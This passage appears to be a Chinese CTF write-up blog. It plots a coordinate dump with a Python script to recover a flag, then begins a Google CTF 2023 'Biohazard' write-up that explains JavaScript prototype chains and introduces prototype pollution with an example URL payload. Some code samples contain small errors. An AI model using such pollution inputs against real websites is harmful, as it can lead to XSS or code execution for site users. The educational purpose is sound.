(67,96), (67,97), (67,98), (67,99), (67,100), (67,149), (67,150), (67,151), (67,152), (67,153), (67,154), (67,155), (67,156), (67,189), (67,190), (67,191), (67,192), (67,193), (67,194), (67,195), (67,196), (67,237), (67,238), (67,239), (67,240), (67,241), (67,242), (67,243), (67,244), (67,245), (67,246), (67,247), (67,248), (67,249), (67,250), (67,251), (67,252), (67,293), (67,294), (67,295), (67,296), (67,297), (67,298), (67,299), (67,300), (67,405), (67,406), (67,407), (67,408), (67,409), (67,410), (67,411), (67,412), (67,437), (67,438), (67,439), (67,440), (67,441), (67,442), (67,443), (67,444), (67,477), (67,478), (67,479), (67,480), (67,481), (67,482), (67,483), (67,484), (68,5), (68,6), (68,7), (68,8), (68,9), (68,10), (68,11), (68,12), (68,93), (68,94), (68,95), (68,96), (68,97), (68,98), (68,99), (68,100), (68,149), (68,150), (68,151), (68,152), (68,153), (68,154), (68,155), (68,156), (68,189), (68,190), (68,191), (68,192), (68,193), (68,194), (68,195), (68,196), (68,237), (68,238), (68,239), (68,240), (68,241), (68,242), (68,243), (68,244), (68,245), (68,246), (68,247), (68,248), (68,249), (68,250), (68,251), (68,252), (68,293), (68,294), (68,295), (68,296), (68,297), (68,298), (68,299), (68,300), (68,405), (68,406), (68,407), (68,408), (68,409), (68,410), (68,411), (68,412), (68,437), (68,438), (68,439), (68,440), (68,441), (68,442), (68,443), (68,444), (68,477), (68,478), (68,479), (68,480), (68,481), (68,482), (68,483), (68,484), (69,5), (69,6), (69,7), (69,8), (69,9), (69,10), (69,11), (69,12), (69,93), (69,94), (69,95), (69,96), (69,97), (69,98), (69,99), (69,100), (69,149), (69,150), (69,151), (69,152), (69,153), (69,154), (69,155), (69,156), (69,189), (69,190), (69,191), (69,192), (69,193), (69,194), (69,195), (69,196), (69,237), (69,238), (69,239), (69,240), (69,241), (69,242), (69,243), (69,244), (69,245), (69,246), (69,247), (69,248), (69,249), (69,250), (69,251), (69,252), (69,293), (69,294), (69,295), (69,296), (69,297), (69,298), (69,299), (69,300), (69,405), (69,406), (69,407), (69,408), (69,409), (69,410), (69,411), (69,412), (69,437), (69,438), (69,439), (69,440), (69,441), (69,442), (69,443), (69,444), (69,477), (69,478), (69,479), (69,480), (69,481), (69,482), (69,483), (69,484), (70,5), (70,6), (70,7), (70,8), (70,9), (70,10), (70,11), (70,12), (70,93), (70,94), (70,95), (70,96), (70,97), (70,98), (70,99), (70,100), (70,149), (70,150), (70,151), (70,152), (70,153), (70,154), (70,155), (70,156), (70,189), (70,190), (70,191), (70,192), (70,193), (70,194), (70,195), (70,196), (70,237), (70,238), (70,239), (70,240), (70,241), (70,242), (70,243), (70,244), (70,245), (70,246), (70,247), (70,248), (70,249), (70,250), (70,251), (70,252), (70,293), (70,294), (70,295), (70,296), (70,297), (70,298), (70,299), (70,300), (70,405), (70,406), (70,407), (70,408), (70,409), (70,410), (70,411), (70,412), (70,437), (70,438), (70,439), (70,440), (70,441), (70,442), (70,443), (70,444), (70,477), (70,478), (70,479), (70,480), (70,481), (70,482), (70,483), (70,484), (71,5), (71,6), (71,7), (71,8), (71,9), (71,10), (71,11), (71,12), (71,93), (71,94), (71,95), (71,96), (71,97), (71,98), (71,99), (71,100), (71,149), (71,150), (71,151), (71,152), (71,153), (71,154), (71,155), (71,156), (71,189), (71,190), (71,191), (71,192), (71,193), (71,194), (71,195), (71,196), (71,237), (71,238), (71,239), (71,240), (71,241), (71,242), (71,243), (71,244), (71,245), (71,246), (71,247), (71,248), (71,249), (71,250), (71,251), (71,252), (71,293), (71,294), (71,295), (71,296), (71,297), (71,298), (71,299), (71,300), (71,405), (71,406), (71,407), (71,408), (71,409), (71,410), (71,411), (71,412), (71,437), (71,438), (71,439), (71,440), (71,441), (71,442), (71,443), (71,444), (71,477), (71,478), (71,479), (71,480), (71,481), (71,482), (71,483), (71,484), (72,5), (72,6), (72,7), (72,8), (72,9), (72,10), (72,11), (72,12), (72,29), (72,30), (72,31), (72,32), (72,33), (72,34), (72,35), (72,36), (72,37), (72,38), (72,39), (72,40), (72,41), (72,42), (72,43), (72,44), (72,45), (72,46), (72,47), (72,48), (72,49), (72,50), (72,51), (72,52), (72,53), (72,54), (72,55), (72,56), (72,57), (72,58), (72,59), (72,60), (72,61), (72,62), (72,63), (72,64), (72,65), (72,66), (72,67), (72,68), (72,69), (72,70), (72,71), (72,72), (72,73), (72,74), (72,75), (72,76), (72,77), (72,78), (72,79), (72,80), (72,81),
(72,82), (72,83), (72,84), (72,93), (72,94), (72,95), (72,96), (72,97), (72,98), (72,99), (72,100), (72,101), (72,102), (72,103), (72,104), (72,105), (72,106), (72,107), (72,108), (72,109), (72,110), (72,111), (72,112), (72,113), (72,114), (72,115), (72,116), (72,117), (72,118), (72,119), (72,120), (72,121), (72,122), (72,123), (72,124), (72,125), (72,126), (72,127), (72,128), (72,129), (72,130), (72,131), (72,132), (72,157), (72,158), (72,159), (72,160), (72,161), (72,162), (72,163), (72,164), (72,165), (72,166), (72,167), (72,168), (72,169), (72,170), (72,171), (72,172), (72,173), (72,174), (72,175), (72,176), (72,177), (72,178), (72,179), (72,180), (72,181), (72,182), (72,183), (72,184), (72,185), (72,186), (72,187), (72,188), (72,237), (72,238), (72,239), (72,240), (72,241), (72,242), (72,243), (72,244), (72,245), (72,246), (72,247), (72,248), (72,249), (72,250), (72,251), (72,252), (72,293), (72,294), (72,295), (72,296), (72,297), (72,298), (72,299), (72,300), (72,301), (72,302), (72,303), (72,304), (72,305), (72,306), (72,307), (72,308), (72,309), (72,310), (72,311), (72,312), (72,313), (72,314), (72,315), (72,316), (72,317), (72,318), (72,319), (72,320), (72,321), (72,322), (72,323), (72,324), (72,325), (72,326), (72,327), (72,328), (72,329), (72,330), (72,331), (72,332), (72,341), (72,342), (72,343), (72,344), (72,345), (72,346), (72,347), (72,348), (72,349), (72,350), (72,351), (72,352), (72,353), (72,354), (72,355), (72,356), (72,357), (72,358), (72,359), (72,360), (72,361), (72,362), (72,363), (72,364), (72,365), (72,366), (72,367), (72,368), (72,369), (72,370), (72,371), (72,372), (72,373), (72,374), (72,375), (72,376), (72,377), (72,378), (72,379), (72,380), (72,381), (72,382), (72,383), (72,384), (72,385), (72,386), (72,387), (72,388), (72,397), (72,398), (72,399), (72,400), (72,401), (72,402), (72,403), (72,404), (72,445), (72,446), (72,447), (72,448), (72,449), (72,450), (72,451), (72,452), (72,477), (72,478), (72,479), (72,480), (72,481), (72,482), (72,483), (72,484), (73,5), (73,6), (73,7), (73,8), (73,9), (73,10), (73,11), (73,12), (73,29), (73,30), (73,31), (73,32), (73,33), (73,34), (73,35), (73,36), (73,37), (73,38), (73,39), (73,40), (73,41), (73,42), (73,43), (73,44), (73,45), (73,46), (73,47), (73,48), (73,49), (73,50), (73,51), (73,52), (73,53), (73,54), (73,55), (73,56), (73,57), (73,58), (73,59), (73,60), (73,61), (73,62), (73,63), (73,64), (73,65), (73,66), (73,67), (73,68), (73,69), (73,70), (73,71), (73,72), (73,73), (73,74), (73,75), (73,76), (73,77), (73,78), (73,79), (73,80), (73,81), (73,82), (73,83), (73,84), (73,93), (73,94), (73,95), (73,96), (73,97), (73,98), (73,99), (73,100), (73,101), (73,102), (73,103), (73,104), (73,105), (73,106), (73,107), (73,108), (73,109), (73,110), (73,111), (73,112), (73,113), (73,114), (73,115), (73,116), (73,117), (73,118), (73,119), (73,120), (73,121), (73,122), (73,123), (73,124), (73,125), (73,126), (73,127), (73,128), (73,129), (73,130), (73,131), (73,132), (73,157), (73,158), (73,159), (73,160), (73,161), (73,162), (73,163), (73,164), (73,165), (73,166), (73,167), (73,168), (73,169), (73,170), (73,171), (73,172), (73,173), (73,174), (73,175), (73,176), (73,177), (73,178), (73,179), (73,180), (73,181), (73,182), (73,183), (73,184), (73,185), (73,186), (73,187), (73,188), (73,237), (73,238), (73,239), (73,240), (73,241), (73,242), (73,243), (73,244), (73,245), (73,246), (73,247), (73,248), (73,249), (73,250), (73,251), (73,252), (73,293), (73,294), (73,295), (73,296), (73,297), (73,298), (73,299), (73,300), (73,301), (73,302), (73,303), (73,304), (73,305), (73,306), (73,307), (73,308), (73,309), (73,310), (73,311), (73,312), (73,313), (73,314), (73,315), (73,316), (73,317), (73,318), (73,319), (73,320), (73,321), (73,322), (73,323), (73,324), (73,325), (73,326), (73,327), (73,328), (73,329), (73,330), (73,331), (73,332), (73,341), (73,342), (73,343), (73,344), (73,345), (73,346), (73,347), (73,348), (73,349), (73,350), (73,351), (73,352), (73,353), (73,354), (73,355), (73,356), (73,357), (73,358), (73,359), (73,360), (73,361), (73,362), (73,363), (73,364), (73,365), (73,366), (73,367), (73,368), (73,369), (73,370), (73,371), (73,372), (73,373), (73,374), (73,375), (73,376), (73,377), (73,378), (73,379), (73,380), (73,381), (73,382), (73,383), (73,384), (73,385), (73,386), (73,387), (73,388), (73,397), (73,398), (73,399), (73,400), (73,401), (73,402), (73,403), (73,404), (73,445), (73,446), (73,447), (73,448), (73,449), (73,450), (73,451), (73,452), (73,477), (73,478), (73,479), (73,480), (73,481), (73,482), (73,483), (73,484), (74,5), (74,6), (74,7), (74,8), (74,9), (74,10), (74,11), (74,12), (74,29), (74,30), (74,31), (74,32), (74,33), (74,34), (74,35), (74,36), (74,37), (74,38), (74,39), (74,40), (74,41), (74,42), (74,43), (74,44), (74,45), (74,46), (74,47), (74,48), (74,49), (74,50), (74,51), (74,52), (74,53), (74,54), (74,55), (74,56), (74,57), (74,58), (74,59), (74,60), (74,61), (74,62), (74,63), (74,64), (74,65), (74,66), (74,67), (74,68), (74,69), (74,70), (74,71), (74,72), (74,73), (74,74), (74,75), (74,76), (74,77), (74,78), (74,79), (74,80), (74,81), (74,82), (74,83), (74,84), (74,93), (74,94), (74,95), (74,96), (74,97), (74,98), (74,99), (74,100), (74,101), (74,102), (74,103), (74,104), (74,105), (74,106), (74,107), (74,108), (74,109), (74,110), (74,111), (74,112), (74,113), (74,114), (74,115), (74,116), (74,117), (74,118), (74,119), (74,120), (74,121), (74,122), (74,123), (74,124), (74,125), (74,126), (74,127), (74,128), (74,129), (74,130), (74,131), (74,132), (74,157), (74,158), (74,159), (74,160), (74,161), (74,162), (74,163), (74,164), (74,165), (74,166), (74,167), (74,168), (74,169), (74,170), (74,171), (74,172), (74,173), (74,174), (74,175), (74,176), (74,177), (74,178), (74,179), (74,180), (74,181), (74,182), (74,183), (74,184), (74,185), (74,186), (74,187), (74,188), (74,237), (74,238), (74,239), (74,240), (74,241), (74,242), (74,243), (74,244), (74,245), (74,246), (74,247), (74,248), (74,249), (74,250), (74,251), (74,252), (74,293), (74,294), (74,295), (74,296), (74,297), (74,298), (74,299), (74,300), (74,301), (74,302), (74,303), (74,304), (74,305), (74,306), (74,307), (74,308), (74,309), (74,310), (74,311), (74,312), (74,313), (74,314), (74,315), (74,316), (74,317), (74,318), (74,319), (74,320), (74,321), (74,322), (74,323), (74,324), (74,325), (74,326), (74,327), (74,328), (74,329), (74,330), (74,331), (74,332), (74,341), (74,342), (74,343), (74,344), (74,345), (74,346), (74,347), (74,348), (74,349), (74,350), (74,351), (74,352), (74,353), (74,354), (74,355), (74,356), (74,357), (74,358), (74,359), (74,360), (74,361), (74,362), (74,363), (74,364), (74,365), (74,366), (74,367), (74,368), (74,369), (74,370), (74,371), (74,372), (74,373), (74,374), (74,375), (74,376), (74,377), (74,378), (74,379), (74,380), (74,381), (74,382), (74,383), (74,384), (74,385), (74,386), (74,387), (74,388), (74,397), (74,398), (74,399), (74,400), (74,401), (74,402), (74,403), (74,404), (74,445), (74,446), (74,447), (74,448), (74,449), (74,450), (74,451), (74,452), (74,477), (74,478), (74,479), (74,480), (74,481), (74,482), (74,483), (74,484), (75,5), (75,6), (75,7), (75,8), (75,9), (75,10), (75,11), (75,12), (75,29), (75,30), (75,31), (75,32), (75,33), (75,34), (75,35), (75,36), (75,37), (75,38), (75,39), (75,40), (75,41), (75,42), (75,43), (75,44), (75,45), (75,46), (75,47), (75,48), (75,49), (75,50), (75,51), (75,52), (75,53), (75,54), (75,55), (75,56), (75,57), (75,58), (75,59), (75,60), (75,61), (75,62), (75,63), (75,64), (75,65), (75,66), (75,67), (75,68), (75,69), (75,70), (75,71), (75,72), (75,73), (75,74), (75,75), (75,76), (75,77), (75,78), (75,79), (75,80), (75,81), (75,82), (75,83), (75,84), (75,93), (75,94), (75,95), (75,96), (75,97), (75,98), (75,99), (75,100), (75,101), (75,102), (75,103), (75,104), (75,105), (75,106), (75,107), (75,108), (75,109), (75,110), (75,111), (75,112), (75,113), (75,114), (75,115), (75,116), (75,117), (75,118), (75,119), (75,120), (75,121), (75,122), (75,123), (75,124), (75,125), (75,126), (75,127), (75,128), (75,129), (75,130), (75,131), (75,132), (75,157), (75,158), (75,159), (75,160), (75,161), (75,162), (75,163), (75,164), (75,165), (75,166), (75,167), (75,168), (75,169), (75,170), (75,171), (75,172), (75,173), (75,174), (75,175), (75,176), (75,177), (75,178), (75,179), (75,180), (75,181), (75,182), (75,183), (75,184), (75,185), (75,186), (75,187), (75,188), (75,237), (75,238), (75,239), (75,240), (75,241), (75,242), (75,243), (75,244), (75,245), (75,246), (75,247), (75,248), (75,249), (75,250), (75,251), (75,252), (75,293), (75,294), (75,295), (75,296), (75,297), (75,298), (75,299), (75,300), (75,301), (75,302), (75,303), (75,304), (75,305), (75,306), (75,307), (75,308), (75,309), (75,310), (75,311), (75,312), (75,313), (75,314), (75,315), (75,316), (75,317), (75,318), (75,319), (75,320), (75,321), (75,322), (75,323), (75,324), (75,325), (75,326), (75,327), (75,328), (75,329), (75,330), (75,331), (75,332), (75,341), (75,342), (75,343), (75,344), (75,345), (75,346), (75,347), (75,348), (75,349), (75,350), (75,351), (75,352), (75,353), (75,354), (75,355), (75,356), (75,357), (75,358), (75,359), (75,360), (75,361), (75,362), (75,363), (75,364), (75,365), (75,366), (75,367), (75,368), (75,369), (75,370), (75,371), (75,372), (75,373), (75,374), (75,375), (75,376), (75,377), (75,378), (75,379), (75,380), (75,381), (75,382), (75,383), (75,384), (75,385), (75,386), (75,387), (75,388), (75,397), (75,398), (75,399), (75,400), (75,401), (75,402), (75,403), (75,404), (75,445), (75,446), (75,447), (75,448), (75,449), (75,450), (75,451), (75,452), (75,477), (75,478), (75,479), (75,480), (75,481), (75,482), (75,483), (75,484), (76,5), (76,6), (76,7), (76,8), (76,9), (76,10), (76,11), (76,12), (76,29), (76,30), (76,31), (76,32), (76,33), (76,34), (76,35), (76,36), (76,37), (76,38), (76,39), (76,40), (76,41), (76,42), (76,43), (76,44), (76,45), (76,46), (76,47), (76,48), (76,49), (76,50), (76,51), (76,52), (76,53), (76,54), (76,55), (76,56), (76,57), (76,58), (76,59), (76,60), (76,61), (76,62), (76,63), (76,64), (76,65), (76,66), (76,67), (76,68), (76,69), (76,70), (76,71), (76,72), (76,73), (76,74), (76,75), (76,76), (76,77), (76,78), (76,79), (76,80), (76,81), (76,82), (76,83), (76,84), (76,93), (76,94), (76,95), (76,96), (76,97), (76,98), (76,99), (76,100), (76,101), (76,102), (76,103), (76,104), (76,105), (76,106), (76,107), (76,108), (76,109), (76,110), (76,111), (76,112), (76,113), (76,114), (76,115), (76,116), (76,117), (76,118), (76,119), (76,120), (76,121), (76,122), (76,123), (76,124), (76,125), (76,126), (76,127), (76,128), (76,129), (76,130), (76,131), (76,132), (76,157), (76,158), (76,159), (76,160), (76,161), (76,162), (76,163), (76,164), (76,165), (76,166), (76,167), (76,168), (76,169), (76,170), (76,171), (76,172), (76,173), (76,174), (76,175), (76,176), (76,177), (76,178), (76,179), (76,180), (76,181), (76,182), (76,183), (76,184), (76,185), (76,186), (76,187), (76,188), (76,237), (76,238), (76,239), (76,240), (76,241), (76,242), (76,243), (76,244), (76,245), (76,246), (76,247), (76,248), (76,249), (76,250), (76,251), (76,252), (76,293), (76,294), (76,295), (76,296), (76,297), (76,298), (76,299), (76,300), (76,301), (76,302), (76,303), (76,304), (76,305), (76,306), (76,307), (76,308), (76,309), (76,310), (76,311), (76,312), (76,313), (76,314), (76,315), (76,316), (76,317), (76,318), (76,319), (76,320), (76,321), (76,322), (76,323), (76,324), (76,325), (76,326), (76,327), (76,328), (76,329), (76,330), (76,331), (76,332), (76,341), (76,342), (76,343), (76,344), (76,345), (76,346), (76,347), (76,348), (76,349), (76,350), (76,351), (76,352), (76,353), (76,354), (76,355), (76,356), (76,357), (76,358), (76,359), (76,360), (76,361), (76,362), (76,363), (76,364), (76,365), (76,366), (76,367), (76,368), (76,369), (76,370), (76,371), (76,372), (76,373), (76,374), (76,375), (76,376), (76,377), (76,378), (76,379), (76,380), (76,381), (76,382), (76,383), (76,384), (76,385), (76,386), (76,387), (76,388), (76,397), (76,398), (76,399), (76,400), (76,401), (76,402), (76,403), (76,404), (76,445), (76,446), (76,447), (76,448), (76,449), (76,450), (76,451), (76,452), (76,477), (76,478), (76,479), (76,480), (76,481), (76,482), (76,483), (76,484), (77,5), (77,6), (77,7), (77,8), (77,9), (77,10), (77,11), (77,12), (77,29), (77,30), (77,31), (77,32), (77,33), (77,34), (77,35), (77,36), (77,37), (77,38), (77,39), (77,40), (77,41), (77,42), (77,43), (77,44), (77,45), (77,46), (77,47), (77,48), (77,49), (77,50), (77,51), (77,52), (77,53), (77,54), (77,55), (77,56), (77,57), (77,58), (77,59), (77,60), (77,61), (77,62), (77,63), (77,64), (77,65), (77,66), (77,67), (77,68), (77,69), (77,70), (77,71), (77,72), (77,73), (77,74), (77,75), (77,76), (77,77), (77,78), (77,79), (77,80), (77,81), (77,82), (77,83), (77,84), (77,93), (77,94), (77,95), (77,96), (77,97), (77,98), (77,99), (77,100), (77,101), (77,102), (77,103), (77,104), (77,105), (77,106), (77,107), (77,108), (77,109), (77,110), (77,111), (77,112), (77,113), (77,114), (77,115), (77,116), (77,117), (77,118), (77,119), (77,120), (77,121), (77,122), (77,123), (77,124), (77,125), (77,126), (77,127), (77,128), (77,129), (77,130), (77,131), (77,132), (77,157), (77,158), (77,159), (77,160), (77,161), (77,162), (77,163), (77,164), (77,165), (77,166), (77,167), (77,168), (77,169), (77,170), (77,171), (77,172), (77,173), (77,174), (77,175), (77,176), (77,177), (77,178), (77,179), (77,180), (77,181), (77,182), (77,183), (77,184), (77,185), (77,186), (77,187), (77,188), (77,237), (77,238), (77,239), (77,240), (77,241), (77,242), (77,243), (77,244), (77,245), (77,246), (77,247), (77,248), (77,249), (77,250), (77,251), (77,252), (77,293), (77,294), (77,295), (77,296), (77,297), (77,298), (77,299), (77,300), (77,301), (77,302), (77,303), (77,304), (77,305), (77,306), (77,307), (77,308), (77,309), (77,310), (77,311), (77,312), (77,313), (77,314), (77,315), (77,316), (77,317), (77,318), (77,319), (77,320), (77,321), (77,322), (77,323), (77,324), (77,325), (77,326), (77,327), (77,328), (77,329), (77,330), (77,331), (77,332), (77,341), (77,342), (77,343), (77,344), (77,345), (77,346), (77,347), (77,348), (77,349), (77,350), (77,351), (77,352), (77,353), (77,354), (77,355), (77,356), (77,357), (77,358), (77,359), (77,360), (77,361), (77,362), (77,363), (77,364), (77,365), (77,366), (77,367), (77,368), (77,369), (77,370), (77,371), (77,372), (77,373), (77,374), (77,375), (77,376), (77,377), (77,378), (77,379), (77,380), (77,381), (77,382), (77,383), (77,384), (77,385), (77,386), (77,387), (77,388), (77,397), (77,398), (77,399), (77,400), (77,401), (77,402), (77,403), (77,404), (77,445), (77,446), (77,447), (77,448), (77,449), (77,450), (77,451), (77,452), (77,477), (77,478), (77,479), (77,480), (77,481), (77,482), (77,483), (77,484), (78,5), (78,6), (78,7), (78,8), (78,9), (78,10), (78,11), (78,12), (78,29), (78,30), (78,31), (78,32), (78,33), (78,34), (78,35), (78,36), (78,37), (78,38), (78,39), (78,40), (78,41), (78,42), (78,43), (78,44), (78,45), (78,46), (78,47), (78,48), (78,49), (78,50), (78,51), (78,52), (78,53), (78,54), (78,55), (78,56), (78,57), (78,58), (78,59), (78,60), (78,61), (78,62), (78,63), (78,64), (78,65), (78,66), (78,67), (78,68), (78,69), (78,70), (78,71), (78,72), (78,73), (78,74), (78,75), (78,76), (78,77), (78,78), (78,79), (78,80), (78,81), (78,82), (78,83), (78,84), (78,93), (78,94), (78,95), (78,96), (78,97), (78,98), (78,99), (78,100), (78,101), (78,102), (78,103), (78,104), (78,105), (78,106), (78,107), (78,108), (78,109), (78,110), (78,111), (78,112), (78,113), (78,114), (78,115), (78,116), (78,117), (78,118), (78,119), (78,120), (78,121), (78,122), (78,123), (78,124), (78,125), (78,126), (78,127), (78,128), (78,129), (78,130), (78,131), (78,132), (78,157), (78,158), (78,159), (78,160), (78,161), (78,162), (78,163), (78,164), (78,165), (78,166), (78,167), (78,168), (78,169), (78,170), (78,171), (78,172), (78,173), (78,174), (78,175), (78,176), (78,177), (78,178), (78,179), (78,180), (78,181), (78,182), (78,183), (78,184), (78,185), (78,186), (78,187), (78,188), (78,237), (78,238), (78,239), (78,240), (78,241), (78,242), (78,243), (78,244), (78,245), (78,246), (78,247), (78,248), (78,249), (78,250), (78,251), (78,252), (78,293), (78,294), (78,295), (78,296), (78,297), (78,298), (78,299), (78,300), (78,301), (78,302), (78,303), (78,304), (78,305), (78,306), (78,307), (78,308), (78,309), (78,310), (78,311), (78,312), (78,313), (78,314), (78,315), (78,316), (78,317), (78,318), (78,319), (78,320), (78,321), (78,322), (78,323), (78,324), (78,325), (78,326), (78,327), (78,328), (78,329), (78,330), (78,331), (78,332), (78,341), (78,342), (78,343), (78,344), (78,345), (78,346), (78,347), (78,348), (78,349), (78,350), (78,351), (78,352), (78,353), (78,354), (78,355), (78,356), (78,357), (78,358), (78,359), (78,360), (78,361), (78,362), (78,363), (78,364), (78,365), (78,366), (78,367), (78,368), (78,369), (78,370), (78,371), (78,372), (78,373), (78,374), (78,375), (78,376), (78,377), (78,378), (78,379), (78,380), (78,381), (78,382), (78,383), (78,384), (78,385), (78,386), (78,387), (78,388), (78,397), (78,398), (78,399), (78,400), (78,401), (78,402), (78,403), (78,404), (78,445), (78,446), (78,447), (78,448), (78,449), (78,450), (78,451), (78,452), (78,477), (78,478), (78,479), (78,480), (78,481), (78,482), (78,483), (78,484), (79,5), (79,6), (79,7), (79,8), (79,9), (79,10), (79,11), (79,12), (79,29), (79,30), (79,31), (79,32), (79,33), (79,34), (79,35), (79,36), (79,37), (79,38), (79,39), (79,40), (79,41), (79,42), (79,43), (79,44), (79,45), (79,46), (79,47), (79,48), (79,49), (79,50), (79,51), (79,52), (79,53), (79,54), (79,55), (79,56), (79,57), (79,58), (79,59), (79,60), (79,61), (79,62), (79,63), (79,64), (79,65), (79,66), (79,67), (79,68), (79,69), (79,70), (79,71), (79,72), (79,73), (79,74), (79,75), (79,76), (79,77), (79,78), (79,79), (79,80), (79,81), (79,82), (79,83), (79,84), (79,93), (79,94), (79,95), (79,96), (79,97), (79,98), (79,99), (79,100), (79,101), (79,102), (79,103), (79,104), (79,105), (79,106), (79,107), (79,108), (79,109), (79,110), (79,111), (79,112), (79,113), (79,114), (79,115), (79,116), (79,117), (79,118), (79,119), (79,120), (79,121), (79,122), (79,123), (79,124), (79,125), (79,126), (79,127), (79,128), (79,129), (79,130), (79,131), (79,132), (79,157), (79,158), (79,159), (79,160), (79,161), (79,162), (79,163), (79,164), (79,165), (79,166), (79,167), (79,168), (79,169), (79,170), (79,171), (79,172), (79,173), (79,174), (79,175), (79,176), (79,177), (79,178), (79,179), (79,180), (79,181), (79,182), (79,183), (79,184), (79,185), (79,186), (79,187), (79,188), (79,237), (79,238), (79,239), (79,240), (79,241), (79,242), (79,243), (79,244), (79,245), (79,246), (79,247), (79,248), (79,249), (79,250), (79,251), (79,252), (79,293), (79,294), (79,295), (79,296), (79,297), (79,298), (79,299), (79,300), (79,301), (79,302), (79,303), (79,304), (79,305), (79,306), (79,307), (79,308), (79,309), (79,310), (79,311), (79,312), (79,313), (79,314), (79,315), (79,316), (79,317), (79,318), (79,319), (79,320), (79,321), (79,322), (79,323), (79,324), (79,325), (79,326), (79,327), (79,328), (79,329), (79,330), (79,331), (79,332), (79,341), (79,342), (79,343), (79,344), (79,345), (79,346), (79,347), (79,348), (79,349), (79,350), (79,351), (79,352), (79,353), (79,354), (79,355), (79,356), (79,357), (79,358), (79,359), (79,360), (79,361), (79,362), (79,363), (79,364), (79,365), (79,366), (79,367), (79,368), (79,369), (79,370), (79,371), (79,372), (79,373), (79,374), (79,375), (79,376), (79,377), (79,378), (79,379), (79,380), (79,381), (79,382), (79,383), (79,384), (79,385), (79,386), (79,387), (79,388), (79,397), (79,398), (79,399), (79,400), (79,401), (79,402), (79,403), (79,404), (79,445), (79,446), (79,447), (79,448), (79,449), (79,450), (79,451), (79,452), (79,477), (79,478), (79,479), (79,480), (79,481), (79,482), (79,483), (79,484)

雖然導出後,後面會參雜一堆亂碼,因為檔案內容很多,所以我打算寫到txt檔案中,再由腳本讀取

接下來需要寫腳本把這些區塊的內容顯示出來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-
import re
import matplotlib.pyplot as plt

# 讀取儲存座標的txt檔案
with open('coor.txt', 'r') as file:
lines = file.readlines()

# 將每一行轉換為座標並儲存在清單中
coordinates = []
for line in lines:
# 使用正則表達式找到所有座標對,並將其轉換為座標
matches = re.findall(r'\((\d+),(\d+)\)', line)
for match in matches:
x, y = map(int, match)
coordinates.append((x, y))

# 分離x和y座標
x_coords = [coord[0] for coord in coordinates]
y_coords = [coord[1] for coord in coordinates]

# 繪製座標點
plt.scatter(x_coords, y_coords)
plt.xlabel('X')
plt.ylabel('Y')
plt.title('Coordinates in XY-plane')
plt.grid(True)
plt.show()

Untitled

I_LOVE_XY

參考資料


通過這次競賽,學到了很多,我很感謝隊友在賽後給我的幫助,我也因此結識到很棒的朋友,也是引領著自己繼續前進,希望有天能追上大家的腳步!!

Untitled

Untitled

Untitled


其它Writeup參考

Google CTF 2023 - web/Biohazard

參考資料


這一題主要是如何繞過CSP的限制達到XSS

這題也有原型污染的漏洞,在開始說明及分析以前,先來了解關於JS的原型和繼承的概念

簡單來說就是讓一個物件取得另一個物件的屬性與方法,這就是繼承的概念

每個物件都連結到某種類型的另一個物件,稱為其原型

JS 的繼承系統會透過prototype chain連接到其他物件功能,這就是原型繼承

Untitled

For example:

1
2
const name = 'test'
console.log(name) //"test"

此時的name是不具備屬性和方法的

當字串name原型來自建構子String(),可以用constructor.name查看

1
2
const name = 'test'
console.log(name.constructor.name) //"String"

此時的name是透過建構式函式 String() 產生實例

透過prototype chain,字串name可以取用String.prototype裡面定義好的方法,因此你可以使用 .split().slice().toLowerCase() 等字串方法

1
2
3
name.toLowerCase() // "test"
name.slice(0,3) //"Tes"
name.splite('s') // ["Te","T"]

所以什麼是原型?

透過建構式函式所產生的物件,都會攜帶一個原型物件

1
2
const name='test'
name.

在 console 裡使用 name. 時(打到 . 就好),這時候瀏覽器會很貼心的幫我們列出所有存在 name 本身的屬性或方法:
這裡看到的清單,是 name 的原型物件裡所有可用的屬性與方法,當你呼叫這些方法時,JavaScript 會透過原型鏈查找到可用的函式。

Untitled

它們是如何搜尋使用的方法及屬性的?

比如在調用 toLowerCase

  1. 查看 name 本身是否有toLowerCase 方法,發現 name 本身沒這方法
  2. name prototypal 找,也就是 String.prototype ,在這邊會找到toLowerCase 的方法
  3. 根據 String.prototype.toLowerCase的函式設計,執行 name.toLowerCase()

如果去調用不存在的方法比如 name.abc(),他會一直向上找到 null為止,並回傳相關錯誤,這就是prototype chain

1
2
3
4
5
name > String.prototype > Object.prototype > null
toLowerCase() toString()
slice() hasOwnProperty()
split() isPrototypeOf()
... ...
1
2
3
4
5
6
7
// Person 是一個構造函式
function Person() {}
// 透過 Person 構造函式,創建了一個 personA 對象
const personA = new Person();

personA.__proto__ === Person.prototype; // true
personA.__proto__.__proto__.__proto__ === null; //prototype chain
1
2
3
4
5
6
7
const human = {
action: function(){
console.log('eat')
}
}
const man = Object.create(human)//man擁有的human的屬性
man.action() #=> eat

使用__proto__訪問物件的原型

每個物件都有特殊的屬性,你可以使用該屬性訪問其原型。

1
2
3
4
5
6
7
8
const human = {
action: function(){
console.log('eat')
}
}
const man = Object.create(human)
const woman = Object.create(human)
man.__proto__ === woman.__proto__ #=> true

可以使用括弧或點表示法進行訪問:__proto__

1
2
username.__proto__
username['__proto__']

可以將參考連結到原型鏈上:proto

1
2
3
username.__proto__                        // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null

由於原型繼承,所有字串都可以訪問此方法:

1
2
let searchTerm = "  example ";
searchTerm.removeWhitespace(); // "example"

What is prototype pollution?

它允許攻擊者控制原本無法訪問的對象的屬性。如果應用程式隨後以不安全的方式處理攻擊者控制的屬性,則可能會與其他漏洞連結。在用戶端 JavaScript 中,這通常會導致 DOM XSS,而伺服器端原型污染甚至會導致RCE。

攻擊者可能會使用包含有害值的屬性污染原型,這些屬性隨後可能被應用程式以危險的方式使用。

任何原型物件都可能受到污染,但這種情況最常發生在內置的全域 Object.prototype 中。

成功利用原型污染需要以下關鍵元件:

A prototype pollution source 

  • 任何使用者可控的輸入,可用於向原型物件添加任意屬性

  • Prototype pollution via the URL

    1
    2
    3
    4
    5
    https://vulnerable-website.com/?__proto__[evilProperty]=payload
    ||
    \/
    targetObject.__proto__.evilProperty = 'payload';

    • 注入的重點不僅僅是名稱,更重要的是攻擊者可以利用此技術來注入具有實際影響的屬性,從而對應用程式或庫進行攻擊
    • 攻擊者可以利用相同的技術來注入與應用程式或庫中已存在的屬性相同名稱的屬性,從而污染原型
